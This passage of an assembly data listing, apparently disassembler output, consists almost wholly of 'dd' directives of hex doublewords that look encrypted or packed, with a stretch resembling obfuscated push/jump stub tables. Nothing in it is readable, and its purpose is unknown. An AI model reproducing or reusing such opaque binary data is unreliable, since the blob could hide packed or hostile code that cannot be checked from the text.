0EA014112h, 813F4841h dd 0CC2D80B1h, 12B00850h, 92CEED41h, 0FF3C2557h, 0DBEFB18Ah dd 3E4112B0h, 0EAEF3C7Fh, 3864DFADh, 0B9DE25DEh, 0ACF22E3h dd 67802B4Fh, 8ED9622Ah, 0B666FB81h, 4B6A9862h, 0B0E52497h dd 37509F54h, 60B58EFAh, 22FA1F45h, 4548E625h, 4B028D2Ah dd 8EC1003Fh, 67C88AF8h, 7FC2D3E9h, 0FAFh, 46A19AE3h, 0FA153259h dd 127DCAB5h, 88E35C2Dh, 2148F787h, 0A0EE27C9h, 334748A3h dd 0C4B4FD14h, 5D2F107Bh, 37408BE2h, 12265565h, 1212B841h dd 3A3BC4E8h, 0B6FDF647h, 4472DB51h, 505B4922h, 0B291FA37h dd 0FB1E4261h, 1A75CEBEh, 0BBDC6715h, 0F334D3CAh, 257B094Fh dd 0C00FC400h, 28C6F5A7h, 4B74F30h, 906DFA72h, 0EB7647EFh dd 0F3Fh, 0D6310A73h, 4AA5A2E9h, 0E20D3A45h, 1873CCBDh dd 0B1D86717h, 107EB7B9h, 0A3D7D833h, 34444DA4h, 0CDBFE00Bh dd 87D01B72h, 1225C515h, 82622841h, 801C0577h, 473A3B78h dd 0C9CEA49Dh, 8368D932h, 0ABE80140h, 0EC3967E4h, 5182BDCFh dd 26F721Ch, 0BB8F8496h, 0E8055689h, 2575A6A1h, 827AB0C8h dd 9BD6F97Fh, 3E51F392h, 93Ch, 0DEAB58E4h, 81F70CABh, 0AD5695C6h dd 0D646A3B4h, 473A1782h, 0C2054477h, 7FAFF7A5h, 398A4922h dd 2C9B9D8Dh, 0BBC30C19h, 0D2D9508Ch, 0D1478B5h, 121A4B9Fh dd 16B5AE41h, 0C85804C0h, 0B5DC1F5Eh, 1647008Ch, 126A3646h dd 4F0441h, 67582E7h, 5A411B39h, 3B4F306Bh, 2F648670h dd 0A0F1EF90h, 0E6E59h, 60DBA200h, 0D4731809h, 3C0B74BDh dd 0A29DECD5h, 0B38464Bh, 0ADE686E0h, 60B62E1h, 73BCD774h dd 0EED33A05h, 834AA59Eh, 251226F6h, 53074112h, 3A0577D3h dd 81B8C4E9h, 0F3C4EFBh, 0F5C9FDEh, 8478ADECh, 99D4FB7Dh dd 3C51F3D7h, 888h, 3BC4E8EAh, 10F1473Ah, 51680EECh, 7518F72h dd 0AE2074Ch, 49222FB2h, 0FE3B5C5Fh, 555AB58Eh, 8DCF1C27h dd 0BC7089D6h, 4F30AE0Fh, 0E931EBE0h, 0C4B70AEh, 2D1A60A1h dd 8C7ABDF8h, 0EF8FEC60h, 0D84DDCEDh, 1C00000Dh, 72BFD671h dd 0EED33A09h, 464BA2A1h, 0B0E10833h, 101671CEh, 0C8770750h dd 3D0A70A1h, 0A09BEDD2h, 0B345849h, 8C6079E0h, 4112247Ch dd 7725FD91h, 0C4E93A05h, 0A65E8FB8h, 77EA1D5Bh, 4251F3D7h dd 7FCh, 2C525FC8h, 8DDE6D11h, 0E7F12F6Eh, 1D42A7ECh, 8CD16E10h dd 0EE592061h, 98227EBDh, 4922532Bh, 7358B1FCh, 122391B9h dd 0EB298441h, 0E2E3A9E6h, 0F8A709CFh, 6079B8BEh, 82DE6913h dd 132C5041h, 48885C2h, 95CBEA3Bh, 127CA3F3h, 9DE29141h dd 7DFBA07Ch, 0F7044F30h, 0E13EC784h, 231DC933h, 0E7D64391h dd 9054BB13h, 0E87740EFh, 0D23h, 0F21D2657h, 6681BECDh dd 9EE95639h, 345FE891h, 0ADC4830Bh, 2C529B5Dh, 0BFCBF41Fh dd 50386980h, 0E9939CF7h, 0ABCC375Eh, 121BA9F1h, 9E864C41h dd 0E93A0577h, 0F881B8C4h, 9CDF1E4Fh, 0C6C954Fh, 0BE89F300h dd 0D7B7AA62h, 3D0251F3h, 0B5000007h, 298D1078h, 0D8B6A73Ah dd 0CBEA3B7Ah, 0C3E8F995h, 0EB473A3Bh, 0DE4EABF8h, 492253B0h dd 0BC4C8041h, 0E18FAFE8h, 0D23786B3h, 0F2AAB7C5h, 4112A3A6h dd 5B2F604Bh, 3D7CBFECh, 0A49FEDD2h dd 115E1577h, 0D71B24F8h, 13044F30h, 0D0F4585Ah, 0C5CD01Ch dd 0E14B701Ch, 0BE488BCAh, 0EF90599Eh, 7067FACBh, 0A400000Ch dd 1A076ED9h, 76BBD271h, 0EED33A09h, 5849A09Bh, 88FE0936h dd 60DFAFE8h, 0D5721809h, 380375BAh, 0A39CE0D1h, 24F88148h dd 41121B14h, 77CD55F9h, 0F5443405h, 4487C685h, 89B2DA17h dd 0D4141D44h, 22EC8F78h, 0C5D06F5Eh, 372A529Fh, 3A615565h dd 0B2F5B847h, 81C6BB5Bh, 4E1351F3h, 3B000001h, 0E93A0577h dd 648FB8C4h, 0F7105F14h, 4BF48592h, 0E109DB1Ah, 14473A3Bh dd 9CAC4099h, 71473A3Bh, 39F3E63Ah, 491843CAh, 4683D0DBh dd 0DA064549h, 1832FC00h, 21470241h, 0D1CE73EEh, 4C464Bh dd 58CC0000h, 0DE0364ABh, 3B1723F9h, 0B3FA473Ah, 41A8DB6Dh dd 38854918h, 64A9E857h, 0F86D121Fh, 18301424h, 73B2F941h dd 304B9B2Dh, 0CCB54118h, 0D0E865ACh, 0DC014BD1h, 183C3840h dd 24F8DD41h, 41183C14h, 2D73B2F9h, 0A6E0h, 5772E00h, 0BAC4E93Ah dd 6913588Dh, 1C608DDEh, 0CA58C823h, 7473A20h, 173E4A22h dd 910B473Ah, 473A1749h, 7D3001ACh, 0C9721A27h, 5EA55EBEh dd 82596339h, 0C5E8491Eh, 182757A4h, 0E983E8F1h, 411ED2C1h dd 1E5B7934h, 1B27D370h, 0B8F5B597h, 0B2D906Fh, 1C610000h dd 0B4C7C823h, 4C337C97h, 0DEAB94FFh, 79050A65h, 0A547A3CAh dd 0CA25226Ch, 7F96B5C5h, 92FD4632h, 0D64DFADh, 0D3E7B5C2h dd 46411219h, 7779090h, 0E3C8D138h, 5D0A1522h, 6D3F20E7h dd 473A905Dh, 9AA7FDB0h, 0E33049F2h, 387BA897h, 7723FBE4h dd 7A88005h, 5CEF6A0Ch, 0D9A3C81Dh, 820C096Eh, 99749FC5h dd 52Ch, 64AB5845h, 3A4EDE03h, 0DF473A3Bh, 0DB5180DCh dd 49184C8Ch, 0C82D4A61h, 18240454h, 9EC2E941h, 2469BD4Fh dd 0EA974118h, 771BE8Eh, 90CCEF3Ch, 0D1BCC984h, 218EC4Bh dd 0E83A0000h, 473A3BC1h, 50A9F6EDh, 3B69B16Bh, 218C473Ah dd 77AD9AE0h, 533A8A62h, 0E4D74922h, 3D067683h, 1E9FEDD2h dd 0B10884E0h, 3F6CAF5Bh, 80D926DDh, 1F2C5E5Bh, 2C1C27C1h dd 0AA014F30h, 9000E8DCh, 252475EFh, 0A3Fh, 0D6310A73h dd 4AA5A2E9h, 0E20D3A45h, 1873CCBDh, 0B1D86717h, 107EB7B9h dd 0A3D7D833h, 34444DA4h, 0CDBFE00Bh, 87D01B72h, 1218C515h dd 82622841h, 0E93A0577h, 5E8FB8C4h, 8FDC6711h, 0FD2E1D62h dd 0B1840D04h, 0DC1B8773h, 0DA111553h, 361178B5h, 9F9AC6E5h dd 96B1DB59h, 0C9A2DF7Fh, 6B3751F3h, 1F000001h, 1E2D525Fh dd 6AD5A7C2h, 588F439h, 39FC863Eh, 3A7BF50Bh, 384BE29Bh dd 22375E91h, 499AA9D5h, 0EFE4F62Ah, 5ED547A0h, 4F491803h dd 7A0E0B6Ch, 0BA4A93C1h, 4118726Ah, 448BED94h, 4BD18F09h dd 44ACh, 0AB587A00h, 66690364h, 0F491841h, 34C17A02h dd 0BD07081Bh, 0A29FC5CCh, 5E2838B1h, 88CBA479h, 9765895Bh dd 17784118h, 0BBE85326h, 0C7143978h, 344697B4h, 0C56BBF39h dd 0B8B5DC1Ch, 1D4BD12Fh, 0C0h, 3A057705h, 8DBAC4E9h, 0DE691358h dd 2D1C608Dh, 0DBA1EE5Dh, 0B1F03360h, 102F5B58h, 0F30183CCh dd 0FE473A08h, 227ECDB1h, 0A3CA7507h, 3C5DA251h, 0A3B46ED7h dd 93C83554h, 0FE61BB4Dh, 9F68491Eh, 64179449h, 8E77B6E7h dd 5CB066h, 4845A209h, 80BC4346h, 772E4DF6h, 0AAD4DD34h dd 0C6CDED9Dh, 4D5EF5B4h, 8EAF2h, 0E45F2E00h, 48F7848Dh dd 0B08FF021h, 26216859h, 8FBCC2CFh, 29620264h, 828FE665h dd 0FF204BF8h, 6A57BE89h, 7CE1922h, 1F6EBA72h, 0CF834112h dd 62E65F57h, 0C21686D7h, 37473ADAh, 9BA8FF84h, 315D64B8h dd 8390F512h, 4F9B4DF6h, 0A2473A9Fh, 858AD50Bh, 69254CF7h dd 96A27A5Fh, 7B473A3Bh, 0B7C5EC30h, 6A125F8Ch, 0E55BB6D1h dd 36000002h, 3B0F5BD1h, 0CBE2473Ah, 0AB58F995h, 0F9DE0364h dd 3A3B1723h, 6DB3FA47h, 225315DBh, 58B1FC49h, 0C3102F5Bh dd 0A95EDBA0h, 60E45E00h, 0B5BE93Ch, 16411254h, 1B2FFD68h dd 0FE411254h, 22F7CBFh, 0EA9ECF7Ch, 0EF45E90Fh, 8EC30662h dd 0E74BCB6Ch, 3D63E0AAh, 26F10h, 0C1E83E00h, 0ED473A3Bh dd 6B50A9F6h, 9BE15C2Eh, 0F13C61A0h, 536319A3h, 956E4922h dd 8BE655h, 6DA4F891h, 9FC4294Eh, 1220FD0Dh, 0AD9AE041h dd 13043D78h, 0D0BD9413h, 0FF2564A1h, 1671CAB2h, 2EFE6329h dd 4112111Ah, 0F6029AFFh, 1B411211h, 0CD1E5190h, 4A038B88h dd 8EC30241h, 0F8124EFDh, 0C9A3C40Bh, 4F3065AEh, 82AA5C5Fh dd 1FEF9039h, 7AD330Eh, 9CE10000h, 344748A3h, 0CCB3FC17h dd 5E2B147Fh, 0F9858AE5h, 25C7234Ah, 4AA5A2ECh, 0FF163545h dd 127DC6B2h, 8DE45F2Dh, 53673542h, 0C641121Eh, 5771010h dd 0B8C4E93Ah, 1E1B5E8Fh, 9325ADAh, 6CDBA3F0h, 520F2F30h dd 6751F3DBh, 1ACh, 3A0577AFh, 1424F8DDh, 0F9473A3Bh, 3BF01894h dd 9625473Ah, 0BFFC0957h, 391B72CDh, 0BFE4054Ah, 3A3BDDEDh dd 277D3047h, 43F57A32h, 0A99A4918h, 3388037Ah, 0ED562346h dd 10E6BAAh, 7796CA79h, 186B91A5h, 65FC8C41h, 186B63B7h dd 0E4279641h, 32117AB7h, 2F49C6E1h, 1F4455FBh, 186B7D8Dh dd 0C71D9041h, 96CBFE7Ah, 234BD187h, 4Ch, 9365956h, 58E797C4h dd 6BA9E80Bh, 0DEAB58DBh, 39AEA3BEh, 0D5A6EB8Eh, 5AD23776h dd 4918D929h, 6166B706h, 9958603Ch, 0FEBD4118h, 99F418A2h dd 9FE94118h, 4F3A77A4h, 3831A7F4h, 1BC66AC0h, 39B7AADDh dd 0D1024BD1h, 8000000h, 0E93A0577h, 588DBAC4h, 0B9DE6913h dd 3BB0D854h, 0A421473Ah, 17A2D254h, 8A3708h, 90D31243h dd 88F4394Ch, 0BEF454BFh, 934739D1h, 0A7EAE4E9h, 75508F96h dd 0A1F24D3Ch, 0CF284382h, 0F58B2576h, 77AD4189h, 5F2F6E65h dd 6CAF9CEEh, 0C9B3FC3Fh, 69DA3F7Eh, 0F3474BC1h, 30217F0Ch dd 1EB6227Ch, 2AC22749h, 411EEE1Eh, 0AD64B8F3h, 0E2ACE90Eh dd 84F70465h, 95796C7h, 96B5D9C6h, 0B5AAAEE0h, 13EE3FF5h dd 61Bh, 0FA152E5Fh, 6E79C6B5h, 86E15E21h, 3C57F099h, 55BC8BF3h dd 345A9355h, 0C7B3FC17h, 58201178h, 0F19B84EFh, 0A3343F56h dd 121CA1C9h, 66BE5441h, 0D1380777h, 94199CE0h, 0AC4D238h dd 0F5BD136h, 0E2473A2Eh, 0A56188CBh, 0DD3A0577h, 4D9EA9D0h dd 86ABF22Eh, 0D3643F6h, 3BE830ECh, 0AE0D473Ah, 1DC9046Fh dd 35000000h, 6F800577h, 0DF34CB22h, 0B2075B4h, 0E395C681h dd 4A32F276h, 177B96F1h, 0AB000000h, 0E93A0577h, 3A3B085Bh dd 860CD47h, 82E7602Ch, 1A460575h, 5775DF9h, 0A9D0DD3Ah dd 0D93B429Eh, 0E884E52Ah, 49225356h, 2A7E2E13h, 0CF411222h dd 3279B0ECh, 0D7A3F0D5h, 4EDE3B68h, 4112223Ah, 549DDCDFh dd 0BEFB1926h, 151A75CEh, 7EBBDC67h, 0C5E0350Eh, 550E4E9Fh dd 98CD7A00h, 0B0FD1A5Dh, 0BB2C71CEh, 0D2B89066h, 0F72D6C53h dd 1A0B0AE2h, 0DFDC4F0Ah, 2E4D9EA9h, 137447F2h, 0A2CD7606h dd 513A0F7Dh, 4382A1F2h, 1C90F512h, 4B6A4DCCh, 4568A21h dd 82E7004Fh, 4DBBCF5Dh, 795E4B6Ah, 6A4D97A3h, 0F0337A4Bh dd 33FD1AACh, 5B524548h, 67F3F1AFh, 0D22D7EE9h, 4DBh, 0BAD56E1Fh dd 2E390675h, 46A19EE1h, 0FC173059h, 157CCBB3h, 741A5315h dd 773BCD7h, 98E0D138h, 315B44AFh, 6374FF16h, 12136189h dd 26FE9441h, 1F2C525Fh, 4871AFCEh, 259EFB44h, 95E96F93h dd 0F698C90Dh dd 0BBD90449h, 1A255758h, 6FD8A4C9h, 0B08BF13Eh, 3B4E63h dd 5EED9ED3h, 9B46EE0Dh, 8592C95Dh, 0E884E963h, 473AA3C0h dd 1F5A8635h, 5EBBD26Dh, 0CD1E2D51h, 2C6FD8A0h, 442924F0h dd 368C51F3h, 9A000000h, 364AB58h, 90ABD1DEh, 2AFC2043h dd 49180BA9h, 0C87319A6h, 55237089h, 0D7A39AE4h, 0B9E42968h dd 6FBD6F86h, 7241186Ah, 0E9D6310Ah, 0E877A49Fh, 41Fh dd 0BE65F5Ah, 8672F30Dh, 3065E2A8h, 0B7DB2F5h, 9CC0E330h dd 0CF1C2755h, 0A3F7A58Ah, 12473AABh, 7D501100h, 5F5EE32Bh dd 0AB94F801h, 3C837040h, 93B0DEDBh, 93900C4Dh, 844918F5h dd 0B5C3D029h, 6537568Ah, 41188451h, 83C622AFh, 4BD118CEh dd 39EBh, 0AB583300h, 4EDE0364h, 473A3B3Ah, 9DA6D2DFh dd 0EED3065Ah, 0FDBF5F15h, 19654F5Bh, 13B5EB2Ah, 49189BE0h dd 6F3D6E4Dh, 4118DF5Fh, 89C038A1h, 4BD0F7D4h, 0DFE1h dd 5772900h, 87629F80h, 3A51C515h, 0F8852847h, 3372075Ch dd 82C1CDE2h, 0E5622865h, 3B416EBFh, 0E1AAE700h, 0AEF23162h dd 112A529Fh, 0A5E856F6h, 0C09473Ah, 5291C27Dh, 0AE99E30Eh dd 9F0D7247h, 473AAC4Bh, 0A8D10FAEh, 0F455E1E4h, 0C181F923h dd 31A4F4A8h, 6249473Ah, 0E192F223h, 0CCA77592h, 0D1491837h dd 0DDA6B3DAh, 516A8D84h, 3558B30h, 36E60350h, 4F3CC1D6h dd 1A17703Bh, 73BCD774h, 916E860Bh, 2990BBCEh, 7BA897F8h dd 8971F938h, 0D2EF92E7h, 2F97EC1h, 503D0000h, 0E8939CF7h dd 800F305Bh, 1267A8C3h, 0ADD1DE29h, 7173779Eh, 9EE95638h dd 335AE991h, 0A6C17A0Eh, 0C1281379h, 9FAB4116h, 72411211h dd 77744DCh, 3B7A8E1Eh, 196F473Ah, 81BEFD2Eh, 9F80EB2Ah dd 633B52EDh, 364AB58h, 18416669h, 83E4D749h, 19470476h dd 31EC30CCh, 0BF124118h, 0DD3A0972h, 18313B4Fh, 81DFDE41h dd 0CFCC40B8h, 1C5F8CBBh, 70928667h, 59870E59h, 0D1C580FDh dd 0D9554Bh, 5FFD0000h, 3B96A27Ah, 8B473Ah, 61BFFE43h dd 0DA0B3458h, 810AC4BDh, 6ECEC436h, 0B887F732h, 0EE5BD96Bh dd 0CEBE473Ah, 67151A75h, 4D4A8FDCh, 0F9D3BE3Fh, 5AEAFEDBh dd 75ABCA1Bh, 0C6237063h, 18CE5D56h, 14654249h, 0A69A3091h dd 76A949EBh, 0A1F25139h, 0C8284382h, 4EB3D41Bh, 70CEAAF5h dd 44988B76h, 3DBC41A2h, 0A6F4E4Fh, 8E4810Dh, 4B7DEBE0h dd 0D3DDA615h, 0ABD0993Bh, 1D026DACh, 9EAFDC71h, 0E10C51EAh dd 0FF3E7DAEh, 92CA790Bh, 6AF5C6EFh, 1DFh, 0B6D16A13h dd 2A450289h, 42AD9AE5h, 0F8132C5Dh, 1178C7B7h, 701E5719h dd 377B8D3h, 94E42D44h, 2D5F40ABh, 6770FB12h, 121065B5h dd 22C28841h, 0DF380777h, 3B1622FAh, 0B0FB473Ah, 4E3E636Ch dd 77009AF5h, 0FC4B3405h, 287DC6B3h, 7C99CA0Dh, 0F65AD88Bh dd 3A581226h, 0CFB40747h, 20DD5165h, 0D8716105h, 91D8042Eh dd 83950EBh, 6D6ABB84h, 0BDEE5920h, 0FD4A317Eh, 5578DA8h dd 34E8014Eh, 491866BFh, 300F7BB8h, 88AB7AE3h, 0C542A57Bh dd 0C8E35E82h, 2115D6AFh, 11B7C359h, 535A4118h, 7EC45AAh dd 31888CD9h, 0CD0850CCh, 0CEED4118h, 0D3519792h, 65779EA9h dd 54C8216Eh, 4F3AA707h, 57A4C5E8h, 0A1C41827h, 1B2857A4h dd 77D0BCC5h, 2B7F2D12h, 164B7F2Bh, 7F2B7286h, 2B14A74Bh dd 5F095C80h, 2F15692h, 0BBC05CBDh, 5C455D41h, 8EFB3851h dd 3B646FB5h, 9293F851h, 5D11CE1Ah, 49882355h, 0EC80D904h dd 555D11DCh, 0EA3B7A31h, 5B88B3C5h, 0E983E8F1h, 555D11C1h dd 5B88B7C4h, 5B942718h, 61C81433h, 0E45F2D07h, 196FAC8Dh dd 753C92Eh, 0EA555D11h, 887B9DC3h, 614EDE3Bh, 365B7F7Bh dd 73195687h, 28B19BC8h, 76A7A4EBh, 8822428Dh, 0CB0A0914h dd 0C74CAC95h, 0CAA2C70Ch, 519142E5h, 0D8AE9172h, 0E1312724h dd 0DC3786B3h, 0F19996FBh, 768252h, 109B5991h, 8AD98ACCh dd 4923086Dh, 59910021h, 0E1BBD9D4h, 57897F30h, 14598A21h dd 0A3B4DF68h, 4ECAA6E2h, 81DF9B65h, 0FA2B1478h, 5EE9909Dh dd 0D7A1EE0Dh, 0A0FC3F6Ch, 15C6BA06h, 0ABCD2478h, 192654A1h dd 75CEBEFBh, 0DC67151Ah, 2217628Fh, 7AABEA59h, 6BC92FD2h dd 0C2CF2621h, 0CD5C81BAh, 3, 7773CB31h, 0C3E83D06h, 105D8EB9h dd 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h dd 0F03D6EDDh, 696FBC8Bh, 81E18951h, 4C1h, 4E98100h, 87000000h dd 895C240Ch, 8953240Ch, 4C381E3h, 83000000h, 1C8704EBh dd 0C895C24h, 10936824h, 14890000h, 0B8505624h, 58CF0E21h dd 3A05D0F7h, 2D49A635h, 0EDA80BA9h, 0F758C689h, 0ACE681D6h dd 4E710233h, 0BE7C681h, 0F68110F6h, 86DE3538h, 815EF189h dd 4ECh, 24248900h, 4240483h, 8B8505Ah, 1000000h, 2C8151D0h dd 0FD238724h, 81008F2Ah, 0FD238700h, 34FF582Ah, 0C4835A24h dd 2434FF04h, 4C48159h, 0E9000000h, 0FFFA54DFh, 2D68B8B6h dd 0C5030628h, 0D685E0FFh, 0AB034B05h, 3C5E7A7Ch, 2CBF61A3h dd 0B0A60D39h, 147F2378h, 0CF9943E3h, 16720A49h, 9AD56122h dd 0F66E4131h, 0C32919h, 0E5475534h, 7CD26529h, 711E3EF9h dd 12C13AEFh, 3EE25A44h, 5DC22850h, 8EB10EFDh, 4CE04498h dd 2AF3505Fh, 0D6E47387h, 0C2A7474Dh, 589662EBh, 261D0AA5h dd 0C3B318F3h, 681A1312h, 5E196754h, 31D54B78h, 5BC37C8Eh dd 0ABE91DEAh, 4C000000h, 47734156h, 0F3BAF5CCh, 0D666D138h dd 979FABAFh, 0E37C4DB2h, 720095B7h, 0B5E9A9E5h, 609BB69Ch dd 0A9B6F377h, 609EB794h, 897D60D7h, 8C9EA9BDh, 0E3729EBDh dd 204A95ACh, 7E9BB98Bh, 0B99D8993h, 96AFF496h, 0B594A19Eh dd 0FD91A7D6h, 0CC48D100h, 3C33594Ah, 4D520071h, 5EF357DBh dd 0BBEFB600h, 0BD899Dh, 0B69F8995h, 97BBEFh, 0C3B1B6D0h dd 527155h, 0C20DA437h, 0E0910D3h, 0Bh dup(0) dd 4CE90000h, 68000011h, 6283112h, 0FA53A2E9h, 320F68FFh dd 98E90628h, 68FFFA53h, 628330Fh, 0FA538EE9h, 349868FFh dd 84E90628h, 68FFFA53h, 6283541h, 0FA537AE9h, 35E268FFh dd 70E90628h, 68FFFA53h, 62836A9h, 0FA5366E9h, 374768FFh dd 5CE90628h, 68FFFA53h, 62837FEh, 0FA5352E9h, 390268FFh dd 48E90628h, 68FFFA53h, 62839C5h, 0FA533EE9h, 3B5368FFh dd 34E90628h, 68FFFA53h, 6283DBFh, 0FA532AE9h, 3ED268FFh dd 20E90628h, 0B4FFFA53h, 2A177EC9h, 868BE261h, 0FE234AF9h dd 6859B08Bh, 0F8CE1926h, 70CFBFF8h, 0E5622819h, 48F3858Ah dd 0B38CF021h, 54C89158h, 41121404h, 5FFD25E9h, 0F2440AE6h dd 69B73985h, 77253C40h, 473A7823h, 77A4E7D6h, 93E7523Ah dd 3A1A75B4h, 0F9DFA49h, 49180020h, 7095C6F5h, 7749910Bh dd 1AC4118h, 77E509D3h, 5E1B4118h, 8B7AF71Ah, 395F4BD1h dd 7A000000h, 5FE4D3Dh, 3B3A7084h, 0F383D1FDh, 364AB58h dd 18416669h, 0B7E4D749h, 1831D1E5h, 46A22F41h, 0D1D14E03h dd 0AA42A74Bh, 41183D9Eh, 81F73873h, 0EEBB9AC6h, 63000000h dd 0E93A0577h, 588DBAC4h, 1CD84A3Bh, 308000E8h, 8FAEFF48h dd 0A3E9104Ch, 4A327F98h, 71CEB0F1h, 4FD1A23h, 9B3DFC81h dd 0CCF52BC1h, 0BC6C87C0h, 473AFB81h, 2A1965B2h, 86C1CBF6h dd 77250A6Fh, 473AEB23h, 0B56D5DD6h, 769C6203h, 83F04E37h dd 0CD2373D8h, 19226A97h, 94DB88F4h, 0FDAEB973h, 0FCBF4918h dd 0A5D08395h, 491B2468h, 4118F221h, 41A6D9D4h, 3C6550ABh dd 197E3D4Fh, 8EF3721Ch, 7DB2CA1Eh, 0DC8C2F4Bh, 4B7DB28Ch dd 75054A61h, 337C97D6h, 190AFC4Bh, 0A4EF92E5h, 0EB3946Bh dd 18650000h, 0B0DBC42Fh, 48377893h, 0DAAF90FBh, 75190661h dd 0A94BBFD6h, 0C6211E60h, 7B92B1D9h, 0EEF94236h, 960DBA1h dd 0D7E3B9DEh, 3A41120Ah, 7778C94h, 0B8FB4836h, 444B4851h dd 7297D607h, 3A3B6EBAh, 0F4288347h, 6D84BFCDh, 0A27A5FB1h dd 473A3B96h, 0EAEC307Bh, 53AC10F9h, 0DD332328h, 0BCAF7D9Ah dd 9149187Ah, 0EB3BC91Ah, 1541187Dh, 3B087784h, 0AC95CBEAh dd 9548054Ch, 0CD6D4BD1h, 8000000h, 38C57E0Bh, 0B57FF42Bh dd 0FF97CD32h, 4A340577h, 4469BAFDh, 1BEC0D3Ah, 906174FFh dd 1622FA97h, 0FB473A19h, 1A2371B0h, 3A15D34Ah, 7404C47h dd 6ED9A3ECh, 0DF24DF3Dh, 0BC7055BAh, 473A1C6Ch, 92ABACC5h dd 0AA97F0A5h, 0C00BDD03h, 4D4918A8h, 0FF2C1B60h, 3C0B73BCh dd 628DCCEFh, 0F5126112h, 3DBCAF27h, 9EFBB24Fh, 375EED91h dd 33C7840Ah, 0EF929E56h, 0B6370A1Bh, 7800000Dh, 0DEC32A15h dd 4A779EADh, 0A2EF0645h, 1C056CD7h, 4CBAD572h, 2C1B63ACh dd 91AEDCC5h, 43F4976h, 6FD8A4EDh, 0E0BCDD04h, 411209D8h dd 5F89993Dh, 29ED897Ah, 4FF9EB5Bh, 3A394D9Dh, 0D70DA047h dd 0C67E4AAh, 0A9CE7903h, 0F1221D6Ch, 0A9656EB2h, 0E93A0577h dd 648FB8C4h, 93F9543Bh, 0F9387BA8h, 4AF587D4h, 3C8E5A23h dd 0BA9FF847h, 0E132117Dh, 0B3CC9EC2h, 84491828h, 2F9205C3h dd 0C3117061h, 0A2876756h, 429BAF7Dh, 0FE8E4118h, 63B1FC45h dd 0E253B6D9h, 8ACBB89Fh, 0B0BE4704h, 3F4CF85Eh, 0E1C62362h dd 9673FF0Bh, 0AD96E2BAh, 96FB1994h, 0B406F106h, 469726B4h dd 0E1064D06h, 0D28B490Bh, 7803104Ah, 119C95CBh, 74D3BBF8h dd 0B9D80427h, 0D237107Ch, 0D195AF71h, 2E4D9EADh, 673CFF55h dd 0D52E959Eh, 351E0F5h, 0CEBAF7C0h, 0DF052075h, 0A951EA92h dd 0F1E702E2h, 0B6D72A7Bh, 7800000Ch, 0DEC32A15h, 4A779EADh dd 0A2EF0645h, 1C056CD7h, 4CBAD572h, 2C1B63ACh, 91AEDCC5h dd 43F4976h, 6FD8A4EDh, 0E0BCDD04h, 411208D8h, 5F89993Dh dd 0C3112A52h, 386DD6A6h, 0BFD827DCh, 183ABEEDh, 424A4749h dd 95C681F7h, 0A7C61756h, 82EDC079h, 361178B5h, 709AC6E5h dd 0BBEC8683h, 0C964Ch, 4BF4A8C1h, 344F3A2Ch, 74985479h dd 694B7E23h, 0A7F41926h, 4D3B68D7h, 42EE44A4h, 332E6187h dd 4A45AFC4h, 0D2033C4Dh, 62C04D93h, 4E000000h, 1D26525Fh dd 6BD8A3C8h, 64B8FB3Ah, 0D5328172h, 558BB4D8h, 0BF76804h dd 55584918h, 0DDFC5334h, 644D08D6h, 0B4E82B14h, 272068A5h dd 241201C2h, 5FF4A0h, 7F046CFAh, 0FF25A10Dh, 12E63494h dd 91FB4118h, 384451B6h, 81C07B01h, 790F3053h, 8F789DCEh dd 26C21DAh, 13E83421h, 0BC5h, 64AB58C3h, 23F9DE03h, 473A3B17h dd 0C656B3FAh, 473A3BB2h, 7E085467h, 49221DD2h, 8693F4C7h dd 0D5224DF6h, 4A96B1D8h, 85E25D2Fh, 0EA3B0488h, 0AAFEAECBh dd 4F411214h, 0F715306Ch, 160F0DFCh, 0C9793DBDh, 0E2BB7196h dd 0B4F0A9Eh, 0A16247A0h, 0E5286BCAh, 3C459BC2h, 939CF750h dd 7CE2E4E9h, 9AC7C89Eh, 19CA0A5Bh, 4B48ADCAh, 158BA3Fh dd 0F2FB7C48h, 1D4362B3h, 48430C4Bh, 38F4D945h, 55482710h dd 84BD8AF5h, 7F3EEB29h, 6851FA8Bh, 0EB7647E9h, 0B2Dh dd 4AA59EEFh, 0FE093645h, 1671CEB1h, 8CE76029h, 254CFB83h dd 0A4EA23C5h, 37434CA7h, 0C8B0E108h, 612B147Fh, 33448FE6h dd 120F5179h, 160EC441h, 3A3BC4E8h, 0B6FDF647h, 1D1ADB51h dd 0B6F34922h, 0BDCD5FC2h, 50411214h, 0AAC91A5Dh, 77010E6Bh dd 14E632EAh, 0A00B4112h, 0A3F13C61h, 201B61AEh, 8BB4D8C9h dd 4793096Eh, 0EE411214h, 0BE421ACAh, 0B8F34CD2h, 50034164h dd 0EB81E603h, 411260DFh, 34257B32h, 30613378h, 0CFBFFC4Fh dd 67B2C656h, 54674B70h, 93ACDC15h, 44FD2342h, 11E68169h dd 2677EF90h, 0A84DBh, 0FC473600h, 60DFAC95h, 0C8771809h dd 3E0970A1h, 0A7A4EAD7h, 317A7A4Ch, 0AA97FE4Dh, 70863E0h dd 72BFD671h, 2FD6310Ah, 0E86D24Ah, 0A76B4112h, 0A27A5F7Fh dd 473A3B96h, 0C5EC307Bh, 125F8CB7h, 92ADDF6Ah, 975A0253h dd 0D8433E51h, 0CA9651F3h, 0BC000004h, 364AB58h, 221DD869h dd 5624949h, 5EBB8408h, 1597A379h, 337A4112h, 0CFBDE2EDh dd 603BCCCEh, 12FD7C8Ch, 611A9141h, 40833E3Bh, 0A49FEA27h dd 4F9F2D78h, 7D4112FDh, 4C203986h, 4F30FC5Fh, 0E88D7D30h dd 75EF8FA6h, 9E32524h, 0E8950000h, 800B345Fh, 1867A8C3h dd 0AADFC02Bh, 45497691h, 0D99BEF06h, 3651EE90h, 0ABC28109h dd 0DE291266h, 7990ABD1h, 0E733E98Eh, 0A41120Eh, 577DC44h dd 1BECE93Ah, 0F0B35F31h, 3D4498F1h, 0B291FA4Fh, 0D2034261h dd 6EA1C72Ah, 51F35DF3h, 428C6h, 0C4E84C00h, 0F6473A3Bh dd 4451B6FDh, 85D40837h, 221D1017h, 0AED0DD49h, 253F09Fh dd 0C57CA0E3h, 47AC91F6h, 121485D5h, 1F456841h, 7891AAD2h dd 0CA790613h, 1214CE1Ah, 47882341h, 89CA1631h, 2E4BF498h dd 71AF98E1h, 0F43B2854h, 4DF68693h, 5287DD18h, 3015EDDAh dd 5DA91A4Fh, 0B3E1AB4Eh, 0E1CE7B99h, 3073A09Bh, 0B25A09F1h dd 0D2E3EF8Fh, 91C4Fh, 94AFDE00h, 0F847347Dh, 60DFA091h dd 0D6711809h, 3F0C72BFh, 0D912D2D4h, 327F96B5h, 